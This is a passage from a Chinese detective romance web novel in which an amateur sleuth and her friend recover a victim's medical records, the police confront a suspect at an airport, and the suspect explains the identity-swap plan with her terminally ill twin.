李砚川不明所以,但还是听话地接过石头,奋力往河里扔去。他胳膊长,力气大,石头砸在水面,发出巨大的声响。
声音穿透厚重的雨幕传到了姚雨欣的耳朵里,祝好看到她明显被这突如其来的一声吓得身形一滞,手里的文件也掉落了一地。
做了亏心事的人果然容易心慌,更别提身处这样的环境中了。
姚雨欣缓缓从地上站起来,小心翼翼地探身往河流的方向看了看,又四处张望片刻,似乎没发觉什么异常,于是松了口气,弯下腰用缠着绷带的手从地上捡起那些文件。
祝好赶紧用胳膊肘捅了下李砚川,示意他再扔一块。李砚川意会,从泥水里摸了一块石头,又一次砸向河面。
“扑通”一声巨响,就算在漫天匝地的大雨里也格外清晰。姚雨欣这回似乎真的被吓到了,脸上瞬间写满了惊恐,也顾不得管地上的文件了,后退几步后连滚带爬沿着阶梯往桥上跑。
没过一会儿,桥上就亮起了车灯,同时响起了马达发动和车轮碾着泥水远去的声音。
祝好赶忙收起望远镜,拉着李砚川,踩着泥泞一脚深一脚浅往桥洞里跑。
火堆还在燃烧,那顶假发已经被烧掉了大半,地上散落的文件里也有几张被溅起的火星点燃。
李砚川当机立断脱下身上的外套甩向火堆,外套被大雨浇透,还在不停淌水,很快就把火给扑灭了。
祝好松了口气,捡起其中一张纸,发现上面密密麻麻全是英文,而且尽是些晦涩难懂的专业术语,以她勉强过了六级的英语水平也只看懂了几个词,依稀能分辨出是一份病历。
她把散落的文件一张张拾起来,跟剩下的半顶假发一起装回箱子里,抬起头才注意到李砚川浑身都被大雨淋了个透,鞋子和裤腿上全是泥,头发也狼狈不堪地贴在那张漂亮的脸上。
虽然知道现在自己的形象肯定也好不到哪儿去,但她还是忍不住一屁股坐在地上,指着他笑出声来。
李砚川茫然地愣怔片刻,下意识低头看了看自己,又看了看祝好,瞬间明白了她的意思,也跟着一起笑起来。
系统响起提示音:“跟李砚川的好感度+5,获得50积分!”
祝好心说这一趟可真没白来。
笑了一会儿,李砚川向她伸出一只手,把她从地上拉起来,又抱起那只箱子,对她道:“好好,我们先回去吧。”
祝好点点头,撑开伞遮在他头顶——反正她身上都已经湿透了,现在最重要的是保护好这箱证物。
走了几步,李砚川突然腾出一只手,轻轻把她带进自己怀里:“一起撑吧,天气凉,再淋雨会感冒的。”
祝好浑身一僵,脸颊莫名烧起来,低着头含糊不清地“嗯”了一声,幸亏夜色浓重,李砚川应该看不到她红到发烫的耳尖。
回到车里,祝好抱着双臂打了个喷嚏,李砚川把箱子放在后座,打开了空调的暖风,又抽了几张纸巾细心地替她擦掉脸上的雨水:“好好,现在我们去哪儿?”
吹着暖风,身体也渐渐回暖。祝好掏出手机摁亮屏幕,还好,虽然淋了雨,但手机还能用,只不过还是一格信号也没有。
一番折腾下来,时间已经接近凌晨12点了,这个点警局早就下班了。
祝好想了想:“我们先回侦探先生那儿。”
第74章
雨势渐小,淅淅沥沥地打在挡风玻璃上,雨刮的频率也逐渐慢了下来。
李砚川堪堪从刚才的经历中缓过神来,余光看到祝好靠在座椅发呆,便没话找话跟她闲聊起来:“好好,你经常会面对那么危险的事情吗?”
祝好一耸肩:“这算什么,我之前遇到的事儿可危险多了。”
“有多危险?”
他脸上的讶异让祝好觉得倍儿有面子,无端有些骄傲,猛地坐直了:“有一回我被一个穿着黑色雨衣的人用板砖拍晕了,她还给我注射了麻醉剂,把我带到一个废弃的筒子楼里,差点儿把我给一刀给剁死了……”
李砚川听得入神,不时偏头看她,差点儿没把车开到马路牙子上,祝好赶紧伸手把紧他的方向盘,提醒道:“哎,你看着点儿路。”
他从愕然中回过神来,调整好方向,又问:“被注射了麻醉剂,那你后来是怎么逃脱的?”
祝好含糊答道:“可能是危机时刻肾上腺素爆发了吧,总之就是身上突然有了力气,然后就……就这么逃脱了。”
李砚川没有怀疑,含笑的眼眸里满是赞赏:“好好,你真勇敢。”
祝好被夸得有些不好意思,笑着摸了摸鼻梁。
车刚开到城郊,手机就不停震动起来。祝好打开屏幕一看,发现终于有信号了,紧接着信息像是憋了很久似的,一条接一条从屏幕下方弹出来,居然都是程述发来的。
发那么多信息,难道是他们查到了什么新的线索吗?她赶紧点开看了一眼。
“真不回来了?”
“那我锁门了。”
“?”
“关机了?”
“我真锁门了。”
“?”
几乎是每隔半个小时一条的频率,其中还有几个未接电话。
祝好:“……”
真是太阳打西边出来了,要知道这家伙平时惜字如金,每次回复信息不是“哦”就是“嗯”,要么干脆只回一个“OK”的表情,今天打的字甚至比平时一个星期加起来还要多,怕不是吃错什么药了吧。
她点开对话框,想把今晚跌宕起伏的经历一股脑告诉他,打了一长串字,还没来得及发出去,就又收到了一条信息,还是他。
“白眼狼好像生病了。”
祝好吓了一跳,赶紧把编辑好的文字全都删了,回了句:“它怎么了?”
程述回复得飞快:“你回来看看不就知道了?”
看到她面露担忧,李砚川问:“怎么了?”
祝好眉头紧锁:“老大说白眼狼不舒服,不知道怎么了。”
李砚川安慰她:“没事,马上就到了。”
说着又踩了脚油门。
车很快开到老城区,来过两次之后,李砚川已经把路记得很熟了。
七拐八拐开过那些错综复杂的巷子后,他把车停在楼下,从后座抱起那只箱子:“好好,我跟你一起上去吧。”
祝好嗯了一声,余光瞥见顶楼窗前似乎有个人影一闪而过,当她抬头往上看时,却又空无一人。
李砚川不常来老居民区,跟在祝好身后走在低矮阴暗、环境跟他家厕所都没法比的筒子楼楼道里,不住好奇地四处张望。
幸亏三楼房东大妈早就关门睡觉了,否则看到祝好大半夜带着个男人回家,明天指定会添油加醋跟左邻右舍宣传一番。
祝好用钥匙打开门时,程述跟往常一样懒散地倚在沙发上,目不转睛地盯着电视上无聊的广告节目,恨不得把“我已经在这儿躺了很久了,刚才从窗户往下看的人绝不是我”这句话写在脸上。听到开门声,他才漫不经心地掀起眼皮:“哟,回来了?”
祝好没理会他,第一时间从地上捞起前来迎接的白眼狼,检查它有无异样,白眼狼不太乐意被人抱着,扭动着肥硕的身躯边嚎叫边奋力挣扎,怎么看都不像是生病的模样。
她问程述:“白眼狼怎么了?”
程述坐直身子,伸了个懒腰,潦草应付她:“不知道,刚刚还病恹恹的,现在突然没事了。”
家里出现新鲜的两脚兽,祝好一松手,白眼狼就迫不及待从她怀里跳下来,叼着玩具老鼠屁颠屁颠跑过去想要蹭蹭
李砚川的裤腿,即将靠近时又有些嫌弃他脏兮兮的,干脆往地上一躺,肚皮朝天,对他眨巴眼睛。
李砚川小心翼翼地摸了摸它的脑袋,夹着嗓子跟它说话:“嗨,你就是白眼狼呀?久仰大名,今天终于见到本尊了。”
程述不动声色地上下打量他俩一眼:“你们大半夜玩儿了什么刺激的项目?弄成这样。”
祝好这才想起正事,把放在地上的箱子抱起来搁在茶几上:“我们刚才跟着韩——不对,跟着姚雨欣——去了杜俊明抛尸的地方,你猜我看到了什么?”
程述眸光一凛:“你们去跟踪她了?”
祝好没注意到他微变的脸色,兀自掏出手机点开那段视频递给他:“她去了杜俊明抛尸的那个地方,给韩瑾烧了纸钱,还差点把箱子里的这些东西给烧了。你看,我把过程全都拍下来了!”
程述接过手机,一言不发地看完视频,又打开茶几上的箱子看了一眼,却没发表什么意见,只是微皱着眉问:“为什么不先给我……或者老秦打个电话?”
祝好解释道:“我想打来着,可出了城就一直没信号。”
李砚川补充了一句:“估计是雨太大,那一带信号塔出毛病了。”
祝好这时才堪堪反应过来他还拘谨地站在门边,连忙摆手招呼他:“李砚川,你过来坐会儿。”
说完又推了推程述,示意他给李砚川腾个位置:“老大,我跟你说,今天李砚川可帮了大忙了,如果没有他,说不定姚雨欣就要把这些东西销毁了。”
李砚川不好意思地挠了挠脑袋:“我就不坐了,身上都是泥,待会儿把家里弄脏了。”
程述抱着双臂靠在沙发里,没有任何挪窝的打算,不咸不淡地对他说了句:“辛苦了,李老板,你也赶紧回去休息吧。”
大概是听出了他话里送客的意味,李砚川礼貌一颔首:“那我就先回去了,好好,你记得洗个热水澡,别感冒了。”
祝好本想留他再坐会儿,但时间确实也不早了,加上有他在也不方便跟程述讨论案情,便起身送他:“李砚川,今天真的太谢谢你了。”
李砚川粲然一笑:“没关系,下次想吃牛排记得来找我。”
祝好把他送到门口,又目送他下了楼。再回到屋里时,程述正拧着双眉翻看着箱子里那打文件。
她凑上前邀功:“我就说了韩瑾房间床底那个箱子里装的是证据吧,我刚才大概看了下,这些好像是病历之类的,不过全是英文,你能看得懂吗?”
程述不置可否,侧目瞥她一眼:“你先去洗澡吧。”
祝好摆摆手表示无所谓,毕竟回来的路上车上的暖气开得很足,身上的雨水几乎都被烤干了。她现在满脑子只有一个念头——箱子里那顶假发和那些病历,真的是什么有价值的隐藏线索吗?
“如果这些病历属于韩瑾,是不是就能说明——阿嚏!”她打了个喷嚏,眨着眼睛揉了揉鼻子。
程述停下翻动文件的手,朝着卫生间的方向扬了扬下巴,语气里透露着不容置疑:“先去洗澡。”
身上的衣服湿了又干,确实不太好受,祝好没再坚持,哦了一声,回阁楼拿了换洗的衣服,走进卫生间里。
关上门后,她照了照镜子,才发现现在的自己确实挺狼狈的:湿漉漉的刘海儿一缕缕耷拉在额前,全身上下全是泥点,几乎没一处干净的地方,被暴雨淋湿的衣服虽然不滴水了,但经过车上的暖气那么一烘,散发出一股奇怪的铁锈味儿。
难怪程述坚持要让她先洗澡呢,估计是被熏得不行了吧。
祝好一心想着那一箱子的隐藏线索,草草冲了个澡,洗掉了身上和头发的泥水后,换上了干净衣服。等她回到客厅时,却发现程述根本没在看那些文件,而是在厨房里不知道鼓捣着什么。
她坐在沙发上,用毛巾擦拭滴水的发梢,问他:“老大,你在干什么?”
程述没回答,过了一会儿,端着个碗从厨房里出来,放在她面前:“把这个喝了,去吹干头发。”
祝好看着碗里热气升腾的棕红色液体,狐疑地问他:“这是什么?”
“姜糖水,驱寒的。”程述把碗放在茶几上,重新拿起那打文件翻阅起来。
祝好把毛巾搭在脑袋上,对着碗口吹了吹气,小心翼翼地抿了一口,一股暖流从舌尖蔓延到胃里,生姜的辛辣和红糖的甘甜融合得恰到好处。
她偏头看了程述一眼,嘀咕道:“你今天怎么对我那么好。”
程述脸上没有任何表情:“你要是生病了,我可没空照顾你。”
祝好撇了撇嘴,又喝了口姜糖水,端着碗凑到他旁边:“怎么样,看出什么门道了吗?”
程述没吭声,目光停留在那些文件上,过了一会儿,突然叫她的名字:“祝好。”
“嗯?”
他眼帘微微一垂,清了清嗓,似乎是刻意把自己的声线拿捏得清冷又平静,顿了顿,才说:“你下次能不能别擅自行动?”
祝好倏然一愣,没想到这茬儿还没过去,下意识想要辩解:“我本来想给你打电话的,但是时间太紧急了,我担心姚雨欣把证据毁掉,那这个案子唯一的线索就断了……”
“到底是线索重要,还是命重要?”
她有些心虚,但还是忍不住嘟囔:“没那么严重吧,就一个姚雨欣而已……”
话还没说完,就被程述打断:“万一她有帮凶呢?万一她身上有凶器呢?万一她豁出去了,就是要以命相拼呢?你应付得来吗?你那个漂亮朋友应付得来吗?”
祝好被他扔过来的这一连串的问题问得脑袋发懵,讷讷道:“我当然是确认了没危险才行动的,我又不傻。”
“我希望你是真的不傻,你知不知道如果你出了事——”
她一摆手,接过话茬:“我知道,我没有编制,万一领了盒饭也不能算是因公殉职,拿不到赔偿的。放心吧,这句话我熟记于心。”
程述抬起眼皮,喉结上下一滑动,似乎想说些什么,又本能地咽了回去,只是叹了口气,从茶几上拿起那些文件:“我刚刚看过了,这些的确是韩瑾的病历。”
话题跳转得太快,祝好险些没跟上,愣怔片刻才反应过来:“真的?她生了什么病。”
“肺癌,晚期。”
第75章
第二天一早,秦聿风刚走进办公室,就看到办公桌上放着一只脏兮兮、沾满泥土的箱子。
他微微皱眉,疑惑地看向四仰八叉躺在靠椅上、把他的办公室当成自家休息室的程述:“这什么?”
程述屈起手指叩了叩箱子:“送给你的证据大礼包。”
秦聿风把手里的咖啡放在一旁,狐疑地打开了箱子,看到了那打文件和被烧得只剩下一半的红色假发,很快反应过来这是跟姚雨欣案子有关的证物。
“这……怎么来的?”
程述指了指无精打采倚在沙发上的祝好:“是这位勇敢的侦探小姐带着普通市民雨夜跟踪犯罪嫌疑人,重回抛尸现场,装神弄鬼把人吓跑后带回来的。”
虽然昨晚及时洗了热水澡,也喝了姜糖水,但祝好一早起来还是有些鼻塞流涕,脑袋也昏沉沉的,她一时没听出程述语气里的调侃,还以为他是在跟秦聿风称赞自己,不自觉坐直身子,胸前的红领巾仿佛更鲜艳了。
秦聿风没太听明白程述的话,他戴上手套,拎起那顶红色假发看了一眼,又拿起那打病历翻了翻:“怎么全是洋文呢,一个字都看不懂。老程,你翻译一下。”
程述终于逮到一个机会怼他:“让你以前上课都在睡觉呢?这是韩瑾在M国的病历,上面说她的肺癌已经到了晚期,并且出现了骨转移。”
“肺癌晚期?”
程述点点头,问道:“尸体没让家属带走吧?”
秦聿
风呵呵冷笑了一声:“家属都快让你吓尿了,哪儿还敢提把尸体带走的事儿?现在还放在殡仪馆呢。”
程述耸了耸肩,没有半点愧疚之意:“那就辛苦我们尊敬的温主任解剖一下吧,等解剖结果出来,我们就有充分的证据了。”
秦聿风掏出手机给温珣打了个电话,让他马上对行李箱里发现的尸体进行解剖,重点检查死者的肺部是否出现病变。
挂掉电话后,他拿起那几张天书似的病历翻来覆去看了几眼,啧啧感慨:“如果死的真的是韩瑾,那姚雨欣也太狠了吧,明知道自己的妹妹只有这一点时间可活了,还要对她下死手。”
程述把两条长腿交叠着搭在他办公桌上,仰头看着天花板:“不然呢?如果韩瑾病死了,她的家人一定会知道,那姚雨欣还怎么取代她的位置?只有让她以姚雨欣的身份死去,自己才能神不知鬼不觉成为韩瑾。”
没错,只要能证明死者肺部确实出现了癌变,再结合病历的内容,就能确定死去的是韩瑾而非姚雨欣了。
然而祝好总觉得有什么被遗漏的东西飞快地从脑海里掠过,可每当她凝神想要专注思考时,那一点儿思绪却又转瞬消失。
她打坐似的盘腿坐在沙发上,揉了揉发胀的太阳穴,重重呼出了一口气。
程述余光一扫,看到她虚眯着双眼正在出神,不知在想些什么,便问:“小助手,有什么灵感?”
祝好回过神来,吸溜着鼻涕,嘟囔了句:“我总觉得有哪里不太对。”
程述饶有兴趣地“哦?”了一声:“你的‘直觉’又跟你说了什么?”
她咬着指甲摇了摇头:“说不上来。”
——事情看似明朗,实际上却有太多问题没有合理的解释,比如姚雨欣是怎么知道杜俊明抛尸的地点?策划跟娜娜吵架的人,究竟是谁?那顶假发的作用到底是什么?韩瑾又为什么会主动去找杜俊明呢?
办公室的门突然被敲响,一个警员探头进来,对秦聿风道:“秦队,我们刚刚查到,韩瑾的身份证购买了今天中午十一点钟飞往M国的机票。”
祝好一愣,虽然昨天装神弄鬼暂时吓走了姚雨欣,但她回去缓过神后应该很快反应过来自己是被人跟踪了,也知道只要自己留在淮江市一天,就会面临着身份暴露的危险,所以才会连夜买好机票。
只要离开了这里,回到M国,就不会再有人纠结她的身份,她也就能彻底成为真正的韩瑾了。
秦聿风猛地皱眉,低头看表,距离飞机起飞还有不到三个小时,果断对着警员一摆手:“走,马上带人跟我去机场。”
淮江市的机场建在市郊,距离市中心有三十公里左右的直线距离。就算是走高速,也需要将近一个小时左右才能到达。
秦聿风把红蓝警灯往车顶一放,一路上风驰电掣,几乎要将油门踩到底,终于在四十分钟内顺利到达机场。
祝好本就头昏脑胀的,又跟个破麻袋似的在后座被甩来甩去几十分钟,等车在机场门口停稳时,她整个人轻飘飘的像是踩在棉花上,下车后扶着车门缓了好一会儿,踉跄着一路小跑才跟上秦聿风和程述的四条长腿。
门口的保安被一众满脸严肃、匆匆而来的便衣警员吓了一跳,下意识握紧了手里的警棍,在看过秦聿风的证件后,才如释重负,打开闸门放他们通行。
然而就算赶在飞机起飞前顺利到达,但想要在偌大的机场寻找一个人,无异于大海捞针。
秦聿风派个了警员联系航班客服查询姚雨欣的登机信息,指挥其他人分散在机场各处寻找她的身影,转身却看到程述看着机场指示牌发呆。
他拍了拍程述的肩膀:“老程?”
程述应了一声,沉吟片刻:“国际航班至少要提前120分钟值机,现在距离飞机起飞还有两个小时左右,姚雨欣应该很早就到了机场,并且已经过了安检,在登机口等着了。”
——姚雨欣出身小山村,虽然在大城市生活了将近十年,但几乎所有的收入都寄回家里,更别提出去旅游了。她从没去过比淮江市更远的地方、自然也从没坐过飞机。
所以为了保险起见,她一定比规定的时间还要提前更久到达机场,办理好一切手续,才能确保从未坐过飞机的自己能够顺利踏上去往M国的航班。
他话刚落音,秦聿风已经拎着对讲机朝着安检口跑去,匆忙出示了证件后,快速通过安检,到达了机场登机口。
祝好的步伐跟脑袋一样越来越沉重,但还是强打精神,目光不停在来往的人群中逡巡。
不知是感冒的症状、还是晕车的后遗症,她胃里突然一阵翻江倒海,来不及跟秦聿风打声招呼就捂着嘴朝卫生间跑去,却在门口看到了一个有些熟悉的背影。
抚着胸口缓了缓,祝好试探叫出她的名字:“姚雨欣。”
那个背影骤然一僵,下意识偏了下头,随即又迅速转身,用缠着绷带的手扶着脸上的墨镜,步履不停地继续往前走。
祝好往前几步,在她走进卫生间之前拦住了她,又一次叫了她的名字:“姚雨欣,我知道是你。”
姚雨欣这才停下脚步,犹豫片刻后回过头来,目光落在匆匆赶来的程述和秦聿风身上,脸上的惊异迅速转换成茫然:“你们认错了,我是韩瑾,姚雨欣是我姐姐。”
紧接着又岔开了话题:“警察同志,这么巧,你们也要坐飞机吗?”
程述掐着腰,半带嘲讽地扫了她一眼:“爱谁谁吧,不过韩小姐不是患了肺癌吗?还是晚期,怎么看起来跟个没事人一样?”
姚雨欣脸色微微一变,但还是皱着眉干笑一下,继续装傻充愣:“什么肺癌?你在说什么呢?我怎么听不懂啊。”
“听不懂没关系,跟我们回警局好好聊聊,就什么都明白了。”
“理由呢?”她似乎是拿准了警方没有确凿的证据,缓缓摘下太阳镜,弯起嘴角:“你们要带我回警局,总得有个理由吧?”
见她颇有些不见棺材不落泪之势,祝好一手撑住膝盖,另一只手从口袋里摸出手机,点开了昨晚的视频:“视频里的这个人是你没错吧?”
姚雨欣目光扫过手机屏幕,倏然一愣,随即不动声色地大方承认:“是我没错,不过我去郊外祭拜我姐姐,有什么问题吗?”
“警方从来没有公布过抛尸地点,你又怎么知道的呢?”
“抛尸地点?我不知道这是抛尸地点啊。”她摇摇头,露出了一脸恰到好处的迷茫:“我之所以会去那儿,是因为我和姐姐的手机里都装了共享位置的软件。虽然我和她感情不深,但毕竟亲姐妹一场,所以想给她烧点纸钱,就查了一下她最后的行踪,希望能送她最后一程,没想到误打误撞到了抛尸现场……不过,这也犯不着进警局吧?”
这个解释几乎找不到漏洞,程述紧拧双眉提示她:“除了纸钱,就没有烧其他东西?”
出乎意料的,姚雨欣承认得很爽快:“有,还有她送我的一顶假发。”
“还少了点儿东西吧。”秦聿风从外套口袋里拿出病历,举到她面前:“这份差点儿被你烧掉的病历你认得吗?上面写的是韩瑾的名字,诊断结果是肺癌晚期。”
姚雨欣扫了一眼,耸了耸肩:“全国同名同姓的人那么多,名叫韩瑾的人应该不止我一个吧?再说了,你们有什么证据证明我烧掉的就是这份病历呢?”
祝好心一凛:她说得没错,视频拍摄的环境并不好,虽然模糊辨认出了她的身影,但却没办法证明她烧掉的具体是什么。
秦聿风没心情再跟她绕圈子,直接了当地问道:“姚小姐,你别再自欺欺人了。死去的其实是你的妹妹韩瑾,对吧?我希望你能跟我们回去,把一切解释清楚。”
姚雨欣扶着额角,露出一个半酸不苦的笑,无可奈何地摇了摇头:“警察同志,你们真的把我弄糊涂了,一会儿说我得了
癌症,一会说我死了,可我不是好好地站在这儿吗?”
几个人神情各异地在机场的厕所门口对峙着,旅客来去匆匆,至多也只是略带好奇地扫他们一眼,又一头扎进各自的行程里。
机场的广播突然响起提示音:“尊敬的旅客,您乘坐的M607航班即将开始登机,请携带您的全部行李,准备好登机牌,从23号登机口登机,祝您旅途愉快!”
“警察同志,没什么事的话,我要登机了。”
姚雨欣把太阳镜架回鼻梁上,露出一个胜利的微笑,提着挎包转身走向登机口,仿佛只要再往前几步,她就能脱胎换骨,彻底跟过去的自己道别,迎来全新的生活。
秦聿风和程述飞快地对视一眼,都在彼此眼中看到了深深的无奈和无力——无奈的是,面前这个女人实在聪明得有些出乎了他们的意料;无力的是,他们明明知晓所有真相,却没有确凿的证据阻止她离开。
祝好胸腔里像是塞了一团火,她扶着墙晃了晃生疼的脑袋,深吸一口气,对着姚雨欣逐渐融进刺眼的阳光里的背影道:“姚雨欣,这一切都是韩瑾策划的,对吧?”
此话一出,秦聿风和程述都向她投去惊疑不定的目光,姚雨欣脚步一顿,愣在原地。
祝好的太阳穴突突直跳,脑袋胀得快要炸掉,然而就在这头脑好似一团浆糊的时刻,一个清晰的想法却穿云破雾般涌现出来。
之前他们只想着如何证明现在的韩瑾就是姚雨欣,而真正的韩瑾已经被设计杀死,所以一直在姐妹俩的身份问题上钻牛角尖,却忽略了很重要的一点——
姚雨欣是个只有初中学历的陪酒公主,就连被杜俊明家暴都只会忍气吞声、从没想过要报警,又怎么会有能力设计一个如此复杂的棋局,能把警方都耍得团团转?
只有受过良好教育、思维敏捷的韩瑾,才最有可能亲手策划这一切。
姚雨欣并不是要占有韩瑾的身份,而是她们从一开始就商量好了,要互换身份。而这个计划不论离开两人中的谁,都没有办法真正实行。
秦聿风口袋里的手机响了起来,他双眼紧盯着姚雨欣停滞的背影,接起电话,摁下免提:“温主任,你说。”
温珣的声音从听筒里传出,即便在人声鼎沸的登机口也清晰可闻:“死者的肺部的确出现了严重病变,肿瘤体积占据了肺叶的大部分空间,压迫到了肺组织。换句话说,就算没被勒死,她的寿命也不会超过一个月。”
“一个月。”祝好抹掉额头渗出来的冷汗,顺着温珣的话继续说下去:“韩瑾发现自己肺癌晚期,生命只剩下最后一个月,所以她决定在这倒计时的时间里,把自己的人生……送给你。”
姚雨欣背对着他们轻叹了一口气,缓缓低下头,全身止不住微微颤抖。
第76章
登机口的VIP等候区里,姚雨欣交叉着双腿端坐在椅子上,与祝好、程述和秦聿风默然相对。
秦聿风率先开口:“说说吧,到底怎么回事?”
他们没有证据把姚雨欣带回警局,依她的要求,想知道点什么,只能在这儿谈。
姚雨欣没有马上说话,落地玻璃外传来飞机的轰鸣声,她抬头看了眼逐渐消失在视线之外的客机,突然自嘲地笑了一声,再回头时,眼眶已经泛红。
第一次知道自己还有个双胞胎妹妹,是大概一个月前。
那天天微亮时,魅享party也终于结束一夜的纸醉金迷。姚雨欣被客人灌了好几杯酒,在厕所里扶着墙吐了一轮,洗了把脸,才踩着高跟鞋走下娱|乐城门口的阶梯。
她揉了揉额角,像往常一样往家里走,准备在路上买个包子垫垫肚子,然后回到那个见不到阳光的出租屋里睡上一觉。
当跟她长相相似、气质却完全不同的韩瑾突然出现在她面前时,她还以为是自己酒劲儿没过,出现了幻觉。
韩瑾拦住她,轻声唤了她一声:“姐姐。”
姚雨欣眯着眼看了她许久,说道:“你认错人了,我没有妹妹。”
“我没有认错。”韩瑾回答得快速而笃定,表情有些复杂:“姐姐,我费了好大功夫才找到你,你的养父母没有跟你说实话,你其实是被他们领养的……”
姚雨欣抬手打断了她的话,将红色的长发拢到耳后,绕过她离开了。
她在夜场摸爬滚打多年,总是习惯性对所有人和事抱着怀疑的态度,不会因为几句话就轻易相信韩瑾。
而韩瑾身上那套质感十足的套装裙和肩上那个价格约等于她一整年房租的背包,更是让她不敢直视。
宿醉的姚雨欣回家补了个觉,再醒来时,差点儿以为这件事只是自己酒没醒的幻想。没想到晚上当她梳妆打扮好,刚要出发去上班时,又在楼下看到了等候多时的韩瑾。
没等她开口发问,韩瑾就一把扯住她,往她手里塞了几本书:“这是我出版的小说,每本的版权费都在百万以上,我身上这个包两万块钱,手镯和吊坠也都是最新款的。”
说着又指了指路边停着的那辆跟周围环境格格不入的红色轿车:“还有这辆车,是我养父送给我的生日礼物,就算转手卖出去,也能值个六七十万。”
姚雨欣听得一头雾水,甩开她的手,皱着眉呵斥:“你到底想干什么?”
韩瑾默了片刻,咬着嘴唇低声说道:“我想把这些,连同我的生活,全都给你。”
程述轻笑一声:“所以,你心动了?”
姚雨欣反问:“换作是你,你不心动吗?”
程述没说话,抬了抬手,示意她接着说。
一开始,姚雨欣还有些犹豫,没有马上答应。其实对自己是家里收养的这件事,她从小多少有点耳闻,只是爸妈不说,她也没有深究,更没想过自己还有个双胞胎妹妹。
而现在这个双胞胎妹妹突然出现,要把自己拥有的一切都给她,说不怀疑,那是不可能的。
最后,她只是留下了韩瑾的联系方式,说自己需要时间考虑考虑。
那天晚上,姚雨欣如往常一样陪着一桌子形色各异的客人喝酒调笑,其中一个胖子喝得酩酊大醉,在包厢里闹事。她上前劝阻,却被他往头上倒了瓶啤酒,狠狠甩了个巴掌,还叫嚣着一个三陪有什么了不起的。
保安来把客人带走后,姚雨欣借口去了卫生间。看着镜子里狼狈不堪的自己,她掏出手机,给韩瑾打去了电话。
说到这里,她用休息室的一次性水杯喝了口水,干巴巴地笑了一下:“反正我贱命一条,就算她是在骗我,我也没什么可失去的;但如果她说的都是真的,那这就是我改变命运的机会。”
如果她说的都是真的,那姚雨欣再也不用为了生计奔波劳碌,不用陪客人推杯换盏到天亮,更不用在被骂了难听的话之后还要陪着笑说没事了。
第二天,韩瑾趁着家里没人时,带着姚雨欣去了自家的别墅。她指着墙上挂着的合照,告诉她哪个是自己的养父母,哪些是其他亲戚,又把家里每个房间、每样东西的用途都一一向她说明。
姚雨欣看着眼前装修奢华的别墅,一时间有些恍惚——自己真的可以住在这种地方吗?
接下来的日子里,韩瑾又带着她去了自己常去的那家高级发廊,让她把一头粗糙的红发染黑,接着又带她去了医院,给胸前那个红色的玫瑰纹身做了激光清洗,最后把她带到商场,给她挑了好几套名牌服装和首饰。
这样一来,从外观上看,两个人几乎没了区别。
本以为这只是一场交易——毕竟虽然是双胞胎,但是两个人从出生后就分开生活,没有任何感情可言,可在相处过程中,两人却逐渐在彼此身上发现了越来越多的共同点。
比如她们都喜欢吃甜食,尤其是巧克力味的甜品;两人都不喜欢、且不擅长运动;她们小时候都养过宠物狗,还都起名叫小白,不同的是,姚雨欣养的是隔壁家送的小土狗,而韩瑾养的是一条血统名贵的京巴。
那天晚上,两个人像一对真正的姐妹,仰面躺在姚雨欣那个逼仄又不见天日的出租屋的床上,聊了很久很久。
韩瑾把自己从小到大写的日记都交给姚雨欣,不厌其烦跟她讲述生活中那些鸡毛蒜皮的小事,又把相册翻出来,将每一张面孔的名字、以及与他们之间的故事,都一一告诉了她。
看着日记本上隽秀的笔迹和照片上一张张鲜活的笑脸,姚
雨欣不自觉露出了笑容,就仿佛自己也把这么美好的人生经历过了一次。
终于,她忍不住问韩瑾:“你为什么要这么做?”
她实在想不明白,韩瑾为什么会舍得把如此美好的人生送给她?
韩瑾的神色忽然变得落寞,起身从包里拿出了一份诊断书递给她。
姚雨欣接过诊断书,发现上面全是英文,她一个字也看不懂。
韩瑾幽幽叹了口气,语气却很平静:“我得了肺癌,晚期,并且已经出现了骨转移。”
几个月前,正在为新书做准备的韩瑾突然开始咳嗽,一开始她并没有放在心上,以为只是普通的感冒,只吃了点感冒药和止咳糖浆。
不久后,她开始觉得背后肩胛骨疼痛难忍、全身乏力,咳嗽也越来越厉害,夜晚尤甚,而且咳出来的痰里还带着红血丝,这才意识到严重性,赶紧去了医院。
医院安排她做了很多检查,结果出来后,她看着诊断书上那一个个从没见过的英文单词有些发懵,而医生凝重的表情却无端让她心头发瘆、遍体生寒。
“医生说我的生命只剩下两到三个月的时间,如果进行化疗,或许能再延长一些。”
只不过这个“一些”是多久,医生也没法给出个确切的答案。
那天晚上,养父养母照例给韩瑾打视频,询问她在M国的近况。
养父母将她领养回家时已年近不惑,不知不觉间,岁月在他们脸上镌刻了道道深痕。这些年来,他们始终待她去亲生女儿一般,尽力给予她最好的生活和教育,在她决定出国时,也没有以爱为名将她绑在身边。
看着屏幕里养父母慈祥的笑脸,韩瑾鼻尖发酸,忍了又忍,最终还是没把生病的消息告诉他们。
她装作一副若无其事的样子,像往常一样陪他们聊工作、聊家常。末了,她突然问道:“妈,您之前跟我说过,我还有一个双胞胎姐姐,对吗?”
再后来,她打点好在M国的一切,以探亲的名义回到淮江市。经过多方打听,终于找到了双胞胎姐姐,也就是姚雨欣的下落。
韩瑾蓄在眼眶里的泪水终于顺着眼角横流而下:“我的爸爸妈妈含辛茹苦把我养大,我甚至还没好好陪伴他们,生命就要走到尽头了。”
姚雨欣问:“你不想让他们体会白发人送黑发人的痛苦,所以想让我代替你,去陪伴他们?”
韩瑾看着天花板,缓缓吐出一口气,不置可否,擦掉了眼泪,又问:“那你呢?你为什么会在……那种地方工作?”
姚雨欣下意识皱了皱眉,眼脸微微一垂,没有说话。
方才她还觉得两个人的距离近了一些,没想到韩瑾一个疑问,又陡然让她感受到了彼此之间的云泥之别。从小养尊处优的韩瑾,怎么能理解像她一样在底层温饱线上挣扎的人?
她自嘲地笑了笑:“我?我的父母——或者说是养父母——只是普通的农民,家里很穷,还有个弟弟,所以我很早就辍学出来打工了。”
她转了个身,手指轻轻摩挲着韩瑾的脸,仿佛在照镜子:“我爸妈这辈子就想盖个大房子,弟弟又考上了一所三本大学,学费很贵,一年要好几万。我没什么本事,也就这张脸还看得过去吧,在这儿陪酒,能赚到多一点儿钱,就能寄回家了。”
韩瑾闻言,刷一下从床上坐起来,面露愠怒:“他们根本是在吸你的血!你怎么能为了这些出卖自己的尊严呢?”
姚雨欣说:“我知道,可他们是我的家人,我不能坐视不管。”
“你难道看不出来他们根本就是在利用你吗?”
姚雨欣苦笑了一下:“难道你不是在利用我吗?”
韩瑾下意识一抬头,两人的视线撞在一起,又飞快错开。
姚雨欣从床上坐起来,转身要走,韩瑾却一把扯住她的手,扯下她的领子,露出背后那些触目惊心的淤痕:“这些伤又是怎么弄的?”
